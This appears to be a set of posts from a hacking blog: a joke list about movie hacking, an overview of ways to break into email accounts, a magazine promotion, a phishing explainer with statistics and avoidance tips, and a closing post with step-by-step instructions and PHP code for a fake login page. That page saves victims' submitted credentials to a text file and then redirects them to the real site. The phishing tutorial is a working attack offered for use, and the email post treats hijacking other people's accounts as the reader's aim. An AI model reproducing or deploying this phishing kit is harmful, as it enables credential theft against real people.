How to hack like in the movies

We’ve all seen the ridiculous attempts made by hollywood to try and portray hacker’s realisticly in their movies. And as I’m sure all of you have concluded, they absolutely….FAIL. For those of you who havn’t seen any, follow this link to see a full list of movies. Some of these will be totally absurd to those of you who know hacking while others will be somewhat realistic.

1. Get lots of computer screens and stack them up to create a sort of shell around you. What you would use them for, I don’t know, but you need them.

2. Type at ridiculous speeds, pressing multiple keys at the same time, and take a while at that same speed to type up short few lettered words.

3. Never use your mouse. Do all your hacking via the keyboard. Once you have gotten through all the “firewalls” and other junk, pause, pick up your pointer finger and slowly drop it on the key,  sit back and…

4. Watch the giant progress bar slowly reach 100% and flash COMPLETED or HACKED to mark the completion of your hacking job.

5. You must be able to break into any computer or government server in ten minutes.

6. The one password you can’t easily get through is going to be the victims birthday or daughters name. You must guess it, and get it correct the second or third attempt.

7. You must create and send a virus that will flash “VIRUS” on the victims server and cause the servers to have mini explosions.

8. Always talk about “firewalls” and “modifying a certain code”.

9. During the hacking process, at some point, you must have random 1’s and 0’s scrolling down your whole screen, or instead of the 1’s and 0’s have random HTML code streaming down your whole screen because you can hack via HTML… right?

If you can think of some more, TELL ME!, so I can add ‘em in.

Read more...

Hack an email account

I constantly get emails of people asking me how to hack hotmail, hack yahoo, and all the other popular email services. Usually it’s for one of the following moronic cover-ups: It’s my password, I just forgot it. , or my boyfriend this or my girlfriend that. I just don’t understand what possesses them to possibly think that I give a hoot.  Nah, I love you guys, I’m just kidding! Everyone seems to think that there’s some hacking trick that will magically get them the password. Too bad you have to actually learn something. Bummer… eh? Below I have briefly described the most common methods.

Phishing - Phishing is by far the most used and easiest method. The attacker simply sets up a page that looks exactly like the real email login page and tricks people into entering their login information.
Update: Check out the new post on how to create your own phishing page here.

Malware - Attackers can infect computers with malware such as Trojan horses that could extract all the saved passwords on a computer or a key logger that will log all the victims typed passwords.

Guessing - The attacker could literally guess the password if the victim uses an easy password like his/her name, birthday, favorite something, pets name, or something similar. If the attacker knows the victim well enough this attack won’t be that difficult to carry out.

Social Engineering - The attacker could literally ask for your password by calling up the victim and pretending to be an IT employee of the company. Once the victims trust is gained, the attacker would then make up a story saying something like the victims password is needed to do some updates because the user database is down or some other bogus. The attacker could also use social engineering along with a phishing page. This would be done by sending the victim a n email that looks like it is from the real email provider. In the email would be a link to his phishing page telling the victim that he/she needs to login and update or change some information immediately for whatever reason.

If you would like to see in detail how to excecute every one of these methods, see The Hacker’s Underground Handbook.

Read more...

Free Hacking Magazine

For those of you that don’t know about Hackin9 – IT Security Magazine , they are giving away their 6/2008 issue for free in return for signing up for their mailing list. You better go get it now because the offer is only valid from now until Feb 3, 2009.

Now, you can check Hakin9 magazine and download a free copy of the 6/2008 issue of Hard Core IT Security magazine. It’s 84 pages, 10.5MB, and requires you to provide an email address. In order to download the free article, please, sign up for hakin9 Newsletter. Hakin9 issue includes articles on Registry Analysis by Harlan Carvey, Client-side Exploits by Anushree Reddy, Simple WiFi Hacking with Eee Pc by Marco Lisci and many more. Register to download your free copy.
Best regards,
Hakin9 team

Source: http://hakin9.org/prt/view/pdf-articles.html

Read more...

What is phishing?

So, what is phishing? In a nutshell, phishing is the act of stealing one’s personal information by pretending to be a legitimate and trustworthy entity. Most commonly the target websites are E-Mail services and E-Commerce websites. According to www.phishtank.com,  in the month of December, 2008 the top targets for phishing attacks were:

Top 10 Identified Targets		Valid Phishes
1	JPMorgan Chase and Co.	12,110
2	PayPal	7,369
3	eBay, Inc.	262
4	Bank of America Corporation	212
5	Sulake Corporation	199
6	Google	169
7	Poste Italiane	163
8	Internal Revenue Service	142
9	Capital One	128
10	Wells Fargo	73

Phishing attacks are most commonly executed through E-Mails. The E-Mails look like they come from trusted sources and ask for personal information like usernames, passwords, credit card numbers, and social security numbers.

To avoid falling for phishing attacks, never go to important websites through links in E-Mails. Also, when logging into a website like Yahoo.com, look at the site URL and make sure it says www.yahoo.com  or a subdomain like login.yahoo.com. If it doesn’t, you know that it is a fake.  For more information on avoiding phishing scams see antiphishing.org.

To learn how phishing sites are created and executed, see the Hacker’s Underground Handbook.

Read more...

Fake login page

I’ve posted about phishing and the techniques attacker’s use to spread their phishing sites. Now, let’s look at how they create these phishing pages in the first place with step-by-step instructions. Knowledge of PHP and HTML will be very useful for creating fake login pages. By reading the rest of this post, you are agreeing to our DISCLAIMER.

1. Select a target website and navigate to their login page.
2. Save the whole page by going to File->Save Page As.. (I’m doing this inFirefox and so should you.)
3. You will now have an HTML file and a folder full of images and maybe some JavaScript files. Rename the HTML file to index.html and create another file called list.txt. This text file will hold the login credentials of the victims.
4. Create a PHP file and name it “phish.php”.
5. Paste the following code into the previously made PHP file. This code is what takes the login details and stores it in the file “list.txt” and then redirects to the real website. This way the user will think he put in the wrong login information and will succeed the second time since it is now the real website.
   view sourceprint?

   01.

   02.Header("Location: http://www.RealSite.com");

   03. 

   04.$handle = fopen("list.txt", "a");

   05. 

   06.foreach($_GET as $variable => $value) {

   07. 

   08.fwrite($handle, $variable);

   09.fwrite($handle, "=");

   10.fwrite($handle, $value);

   11.fwrite($handle, "\r\n");

   12.}fwrite($handle, "\r\n");

   13. 

   14.fclose($handle);

   15.exit;

   16.?>
   6.  Now we must point the login form in the HTML file to the PHP file. Locate the form code in the HTMl file and change the action link to the PHP file and the method type to GET so that the submitted information is passed through the URL.  The HTML code should start with something like this:
   
   

   7.  Once everything is complete, upload the files to a free webhost that supports PHP.
   8.  That’s it! You’ve just created a phishing page.

   UPDATE: If you are using WAMP to test this script, make sure that when you are pointing the index page to the phish page you point it to localhost://folder-its-in/phish.php so that the php file actually gets parsed.

If you would like a more in depth explanation that includes many pictures and specific examples, I’d reccomend obtaining The Hacker’s Underground Handbook.

Read more...